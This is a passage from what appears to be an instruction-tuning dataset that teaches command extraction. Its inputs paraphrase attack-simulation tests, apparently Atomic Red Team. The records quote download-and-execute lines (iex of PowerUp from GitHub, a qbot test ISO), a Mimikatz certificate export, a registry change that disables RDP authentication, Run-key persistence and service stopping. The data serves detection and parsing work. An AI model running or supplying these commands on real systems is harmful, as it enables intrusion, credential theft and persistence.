`Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To manage services on macOS, you can use the following command: launchctl submit -l #{label_name} -- #{executable_path}; After the test completes, you'll find the txt files compressed into T1560.001-data.rar by executing: \"#{rar_exe}\" a -r #{output_file} #{input_path}\\*#{file_extension}\n",
    "output": "{\"command_list\": [\"launchctl submit -l #{label_name} -- #{executable_path}\\n\", \"\\\"#{rar_exe}\\\" a -r #{output_file} #{input_path}\\\\*#{file_extension}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using Mimikatz to dump certificates from the local machine's My store requires executing this command: \"#{mimikatz_exe}\" \"crypto::certificates /systemstore:local_machine /store:my /export\"  exit; To exploit user behavior, adversaries may use a malicious image, which can be executed with the following command: IEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\" -OutFile \"$env:TEMP\\\\qbot-test.iso\")\nMount-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\"\n$mountedpath = (Get-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\" | Get-Volume).DriveLetter\n$finalpath = $mountedpath + \":\\\\\"\ncd $finalpath\n.\\\\calc.exe.lnk",
    "output": "{\"command_list\": [\"\\\"#{mimikatz_exe}\\\" \\\"crypto::certificates /systemstore:local_machine /store:my /export\\\"  exit\\n\", \"IEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\\\" -OutFile \\\"$env:TEMP\\\\qbot-test.iso\\\")\\nMount-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\"\\n$mountedpath = (Get-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\" | Get-Volume).DriveLetter\\n$finalpath = $mountedpath + \\\":\\\\\\\"\\ncd $finalpath\\n.\\\\calc.exe.lnk\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The HTA application can be launched with the JScript engine and inline protocol handler via this command: Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path}; The HTA application can be executed with lateral movement simulation over a UNC path by issuing the command: Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}",
    "output": "{\"command_list\": [\"Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path}\", \"Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable network-level authentication for RDP, which enables remote interaction before authentication, use the following command in Command Prompt: reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /d 0 /t REG_DWORD /f; To utilize the AudioDeviceCmdlets, run the following command: powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp\\\" /v UserAuthentication /d 0 /t REG_DWORD /f\\n\", \"powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For a complete list of kernel modules and to filter for those with 'vmm' in their name, run the following: kldstat\nkldstat | grep vmm\n; The WMI command-line utility can be used to extract detailed system information with the following commands: wmic cpu get name\nwmic MEMPHYSICAL get MaxCapacity\nwmic baseboard get product\nwmic baseboard get version\nwmic bios get SMBIOSBIOSVersion\nwmic path win32_VideoController get name\nwmic path win32_VideoController get DriverVersion\nwmic path win32_VideoController get VideoModeDescription\nwmic OS get Caption,OSArchitecture,Version\nwmic DISKDRIVE get Caption\nGet-WmiObject win32_bios\n. This includes data about the processor, memory, motherboard, graphics card, and operating system.",
    "output": "{\"command_list\": [\"kldstat\\nkldstat | grep vmm\\n\", \"wmic cpu get name\\nwmic MEMPHYSICAL get MaxCapacity\\nwmic baseboard get product\\nwmic baseboard get version\\nwmic bios get SMBIOSBIOSVersion\\nwmic path win32_VideoController get name\\nwmic path win32_VideoController get DriverVersion\\nwmic path win32_VideoController get VideoModeDescription\\nwmic OS get Caption,OSArchitecture,Version\\nwmic DISKDRIVE get Caption\\nGet-WmiObject win32_bios\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test modifies the registry to execute calc.exe at startup by running the following PowerShell commands, which require a system reboot to take effect: \nif (!(Test-Path -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n  New-Item -ItemType Key -Path  \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path  \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"; To configure Windows to launch calc.exe on boot, you'll need to create a registry key and set its value using the following command: \nif (!(Test-Path -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n  New-Item -ItemType Key -Path  \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path  \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"",
    "output": "{\"command_list\": [\"if (!(Test-Path -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\")){\\n  New-Item -ItemType Key -Path  \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\"\\n}\\nSet-ItemProperty -Path  \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\" -Name \\\"#{target_key_value_name}\\\" -Value \\\"#{payload}\\\"\\n\", \"if (!(Test-Path -Path \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\")){\\n  New-Item -ItemType Key -Path  \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\"\\n}\\nSet-ItemProperty -Path  \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\" -Name \\\"#{target_key_value_name}\\\" -Value \\\"#{payload}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To stop a specific service, you can use the following command, which will display status information about the service: sc.exe stop #{service_name}; When you need to halt a particular service, execute this command: net.exe stop #{service_name}. The output will confirm if the service was stopped or if it wasn't running to begin with.",
